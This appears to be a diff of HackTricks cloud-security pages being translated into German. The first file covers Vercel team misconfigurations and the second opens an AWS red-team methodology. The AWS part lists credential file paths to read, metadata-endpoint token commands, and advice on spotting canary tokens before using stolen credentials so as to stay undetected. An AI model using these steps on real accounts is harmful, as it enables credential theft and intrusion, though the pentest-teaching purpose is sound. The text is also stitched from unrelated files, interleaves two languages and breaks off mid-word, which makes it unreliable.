- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisationen gibt, bei denen der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen.
|
||||
- **Risiko:** Deaktivierung dieses (wenn aktiviert) könnte in zukünftigen Bereitstellungen DoS-Probleme verursachen.
|
||||
|
||||
---
|
||||
|
||||
## Team Settings
|
||||
## Teameinstellungen
|
||||
|
||||
### General
|
||||
### Allgemein
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects 
|
||||
- **Risk:** Delete the projects
|
||||
- **Übertragung**
|
||||
- **Fehlkonfiguration:** Erlaubt die Übertragung aller Projekte zu einem anderen Team.
|
||||
- **Risiko:** Ein Angreifer könnte die Projekte stehlen.
|
||||
- **Projekt löschen**
|
||||
- **Fehlkonfiguration:** Erlaubt das Löschen des Teams mit allen Projekten.
|
||||
- **Risiko:** Löschen der Projekte.
|
||||
|
||||
---
|
||||
|
||||
### Billing
|
||||
### Abrechnung
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
- **Kostenlimit für Speed Insights**
|
||||
- **Fehlkonfiguration:** Ein Angreifer könnte diese Zahl erhöhen.
|
||||
- **Risiko:** Erhöhte Kosten.
|
||||
|
||||
---
|
||||
|
||||
### Members
|
||||
### Mitglieder
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
- **Mitglieder hinzufügen**
|
||||
- **Fehlkonfiguration:** Ein Angreifer könnte Persistenz aufrechterhalten, indem er ein Konto einlädt, das er kontrolliert.
|
||||
- **Risiko:** Persistenz des Angreifers.
|
||||
- **Rollen**
|
||||
- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen unter [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
|
||||
- **Risiko:** Erhöhte Exposition des Vercel-Teams.
|
||||
|
||||
---
|
||||
|
||||
### Access Groups
|
||||
### Zugriffgruppen
|
||||
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgliedern mit vordefinierten Rollenzuweisungen, die eine zentralisierte und optimierte Zugriffsverwaltung über mehrere Projekte hinweg ermöglichen.
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
**Potenzielle Fehlkonfigurationen:**
|
||||
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
- **Überberechtigung von Mitgliedern:** Zuweisung von Rollen mit mehr Berechtigungen als notwendig, was zu unbefugtem Zugriff oder Aktionen führt.
|
||||
- **Falsche Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt.
|
||||
- **Mangelnde Projekttrennung:** Versäumnis, sensible Projekte zu trennen, was einen breiteren Zugriff als beabsichtigt ermöglicht.
|
||||
- **Unzureichendes Gruppenmanagement:** Nicht regelmäßiges Überprüfen oder Aktualisieren von Zugriffgruppen, was zu veralteten oder unangemessenen Zugriffsberechtigungen führt.
|
||||
- **Inkonsistente Rollendefinitionen:** Verwendung inkonsistenter oder unklarer Rollendefinitionen in verschiedenen Zugriffgruppen, was zu Verwirrung und Sicherheitslücken führt.
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
- **Log Drains zu Drittanbietern:**
|
||||
- **Fehlkonfiguration:** Ein Angreifer könnte einen Log Drain konfigurieren, um die Protokolle zu stehlen.
|
||||
- **Risiko:** Teilweise Persistenz.
|
||||
|
||||
---
|
||||
|
||||
### Security & Privacy
|
||||
### Sicherheit & Datenschutz
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:** 
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
- **Team-E-Mail-Domain:** Wenn konfiguriert, lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten.
|
||||
- **Fehlkonfiguration:**
|
||||
- Falsche Angabe der E-Mail-Domain oder einer falsch geschriebenen Domain in der Team-E-Mail-Domain-Einstellung.
|
||||
- Verwendung einer gängigen E-Mail-Domain (z. B. `gmail.com`, `hotmail.com`) anstelle einer unternehmensspezifischen Domain.
|
||||
- **Risiken:**
|
||||
- **Unbefugter Zugriff:** Benutzer mit E-Mail-Adressen von unbeabsichtigten Domains könnten Einladungen erhalten, Ihrem Team beizutreten.
|
||||
- **Datenexposition:** Potenzielle Offenlegung sensibler Projektinformationen an unbefugte Personen.
|
||||
- **Geschützte Git-Scopes:** Ermöglicht das Hinzufügen von bis zu 5 Git-Scopes zu Ihrem Team, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams Zugriff gewährt.
|
||||
- **Fehlkonfiguration:** Kritische Git-Scopes nicht zur geschützten Liste hinzufügen.
|
||||
- **Risiken:**
|
||||
- **Unbefugte Bereitstellungen:** Andere Teams könnten Repositories aus den Git-Scopes Ihrer Organisation ohne Genehmigung bereitstellen.
|
||||
- **Offenlegung von geistigem Eigentum:** Proprietärer Code könnte außerhalb Ihres Teams bereitgestellt und abgerufen werden.
|
||||
- **Richtlinien für Umgebungsvariablen:** Erzwingt Richtlinien für die Erstellung und Bearbeitung der Umgebungsvariablen des Teams. Insbesondere können Sie durchsetzen, dass alle Umgebungsvariablen als **sensible Umgebungsvariablen** erstellt werden, die nur vom Bereitstellungssystem von Vercel entschlüsselt werden können.
|
||||
- **Fehlkonfiguration:** Beibehaltung der Deaktivierung der Durchsetzung sensibler Umgebungsvariablen.
|
||||
- **Risiken:**
|
||||
- **Offenlegung von Geheimnissen:** Umgebungsvariablen könnten von unbefugten Teammitgliedern eingesehen oder bearbeitet werden.
|
||||
- **Datenverletzung:** Sensible Informationen wie API-Schlüssel und Anmeldeinformationen könnten geleakt werden.
|
||||
- **Audit-Protokoll:** Bietet einen Export der Aktivitäten des Teams für bis zu 90 Tage. Audit-Protokolle helfen bei der Überwachung und Verfolgung von Aktionen, die von Teammitgliedern durchgeführt werden.
|
||||
- **Fehlkonfiguration:**\
|
||||
Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
|
||||
- **Risiken:**
|
||||
- **Datenschutzverletzungen:** Offenlegung sensibler Benutzeraktivitäten und -daten.
|
||||
- **Manipulation von Protokollen:** Böswillige Akteure könnten Protokolle ändern oder löschen, um ihre Spuren zu verwischen.
|
||||
- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentrale Authentifizierung und Benutzerverwaltung ermöglicht wird.
|
||||
- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken kompromittieren.
|
||||
- **Risiko:** Persistenz aufrechterhalten.
|
||||
- **Sichtbarkeit der IP-Adressen:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden.
|
||||
- **Fehlkonfiguration:** Sichtbarkeit der IP-Adressen ohne Notwendigkeit aktiviert lassen.
|
||||
- **Risiken:**
|
||||
- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie der DSGVO.
|
||||
- **Rechtliche Konsequenzen:** Potenzielle Geldstrafen und Strafen für den unsachgemäßen Umgang mit persönlichen Daten.
|
||||
- **IP-Blockierung:** Ermöglicht die Konfiguration von IP-Adressen und CIDR-Bereichen, von denen Vercel Anfragen blockieren sollte. Blockierte Anfragen tragen nicht zu Ihrer Abrechnung bei.
|
||||
- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Datenverkehr zuzulassen oder legitimen Datenverkehr zu blockieren.
|
||||
- **Risiken:**
|
||||
- **Dienstverweigerung für legitime Benutzer:** Blockierung des Zugriffs für gültige Benutzer oder Partner.
|
||||
- **Betriebliche Störungen:** Verlust der Dienstverfügbarkeit für bestimmte Regionen oder Kunden.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Sicheres Rechnen
|
||||
|
||||
**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies eliminiert die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz.
|
||||
|
||||
#### **Potenzielle Fehlkonfigurationen und Risiken**
|
||||
|
||||
1. **Falsche Auswahl der AWS-Region**
|
||||
- **Fehlkonfiguration:** Auswahl einer AWS-Region für das Secure Compute-Netzwerk, die nicht mit der Region der Backend-Dienste übereinstimmt.
|
||||
- **Risiko:** Erhöhte Latenz, potenzielle Probleme mit der Datenresidenz-Compliance und verschlechterte Leistung.
|
||||
2. **Überlappende CIDR-Blöcke**
|
||||
- **Fehlkonfiguration:** Auswahl von CIDR-Blöcken, die mit bestehenden VPCs oder anderen Netzwerken überlappen.
|
||||
- **Risiko:** Netzwerk-Konflikte, die zu fehlgeschlagenen Verbindungen, unbefugtem Zugriff oder Datenlecks zwischen Netzwerken führen.
|
||||
3. **Unzureichende VPC-Peering-Konfiguration**
|
||||
- **Fehlkonfiguration:** Falsche Einrichtung des VPC-Peerings (z. B. falsche VPC-IDs, unvollständige Aktualisierungen der Routing-Tabellen).
|
||||
- **Risiko:** Unbefugter Zugriff auf die Backend-Infrastruktur, fehlgeschlagene sichere Verbindungen und potenzielle Datenverletzungen.
|
||||
4. **Übermäßige Projektzuweisungen**
|
||||
- **Fehlkonfiguration:** Zuweisung mehrerer Projekte zu einem einzigen Secure Compute-Netzwerk ohne angemessene Isolation.
|
||||
- **Risiko:** Gemeinsame IP-Exposition erhöht die Angriffsfläche, was möglicherweise kompromittierte Projekte betrifft.
|
||||
5. **Unzureichendes IP-Adressmanagement**
|
||||
- **Fehlkonfiguration:** Versäumnis, dedizierte IP-Adressen angemessen zu verwalten oder zu rotieren.
|
||||
- **Risiko:** IP-Spoofing, Verfolgung von Schwachstellen und potenzielle Sperrung, wenn IPs mit bösartigen Aktivitäten in Verbindung gebracht werden.
|
||||
6. **Unnötige Einbeziehung von Build-Containern**
|
||||
- **Fehlkonfiguration:** Hinzufügen von Build-Containern zum Secure Compute-Netzwerk, wenn kein Backend-Zugriff während der Builds erforderlich ist.
|
||||
- **Risiko:** Erweiterte Angriffsfläche, erhöhte Bereitstellungsverzögerungen und unnötiger Verbrauch von Netzwerkressourcen.
|
||||
7. **Versäumnis, Umgehungsgeheimnisse sicher zu behandeln**
|
||||
- **Fehlkonfiguration:** Offenlegung oder unsachgemäße Handhabung von Geheimnissen, die zur Umgehung von Bereitstellungsschutzmaßnahmen verwendet werden.
|
||||
- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, was Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen.
|
||||
8. **Ignorieren von Failover-Konfigurationen für Regionen**
|
||||
- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder falsche Konfiguration der Failover-Einstellungen.
|
||||
- **Risiko:** Dienstunterbre
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundlegende Informationen
|
||||
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Bevor Sie mit dem Pentesting** einer **AWS**-Umgebung beginnen, gibt es einige **grundlegende Dinge, die Sie wissen müssen**, wie AWS funktioniert, um zu verstehen, was Sie tun müssen, wie Sie Fehlkonfigurationen finden und wie Sie diese ausnutzen können.
|
||||
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
Konzepte wie Organisationshierarchie, IAM und andere grundlegende Konzepte werden erklärt in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## Labs zum Lernen
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Tools to simulate attacks:
|
||||
Tools zur Simulation von Angriffen:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## AWS Pentester/Red Team Methodology
|
||||
## AWS Pentester/Red Team Methodik
|
||||
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, die **Erlangung von Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
|
||||
- **Leaks** in github (oder ähnlichem) - OSINT
|
||||
- **Soziale** Ingenieurkunst
|
||||
- **Passwort**-Wiederverwendung (Passwortlecks)
|
||||
- Schwachstellen in AWS-gehosteten Anwendungen
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) mit Zugriff auf den Metadaten-Endpunkt
|
||||
- **Lokales Datei Lesen**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd Party **gehackt**
|
||||
- **Interner** Mitarbeiter
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)Anmeldeinformationen
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
Oder durch **Kompromittierung eines nicht authentifizierten Dienstes**, der exponiert ist:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
Oder wenn Sie eine **Überprüfung** durchführen, könnten Sie einfach **nach Anmeldeinformationen fragen** mit diesen Rollen:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Nachdem Sie es geschafft haben, Anmeldeinformationen zu erhalten, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:
|
||||
|
||||
## Basic Enumeration
|
||||
## Grundlegende Aufzählung
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
Wenn Sie ein SSRF auf einer Maschine innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
Eine der ersten Dinge, die Sie wissen müssen, ist, wer Sie sind (in welchem Konto Sie sich befinden und andere Informationen über die AWS-Umgebung):
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist oder nicht, bevor Sie es verwenden.\
|
||||
> Für weitere Informationen [**diese Seite überprüfen**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
Wenn Sie genügend Berechtigungen haben, wird das **Überprüfen der Berechtigungen jeder Entität im AWS-Konto** Ihnen helfen zu verstehen, was Sie und andere Identitäten tun können und wie Sie **Berechtigungen eskalieren** können.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie sie **stehlen oder bruteforcen**, um sie herauszufinden.\
|
||||
Überprüfen Sie **wie man die Enumeration und das Brute-Forcing durchführt** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Jetzt, da Sie **einige Informationen über Ihre Anmeldeinformationen haben** (und wenn Sie ein Red Team sind, hoffen wir, dass Sie **nicht entdeckt wurden**). Es ist an der Zeit herauszufinden, welche Dienste in der Umgebung verwendet werden.\
|
||||
> Im folgenden Abschnitt können Sie einige Möglichkeiten überprüfen, um **einige gängige Dienste zu enumerieren.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
AWS hat eine erstaunliche Anzahl von Diensten. Auf der folgenden Seite finden Sie **grundlegende Informationen, Enumeration** Cheatsheets\*\*,\*\* wie man **Erkennung vermeidet**, **Persistenz** erlangt und andere **Post-Exploitation** Tricks über einige von ihnen:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
|
||||
Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](./#automated-tools).
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
Darüber hinaus könnten Sie in dieser Phase **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in folgenden Abschnitt angegebenen Berechtigungen konzentrieren:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -141,10 +139,10 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
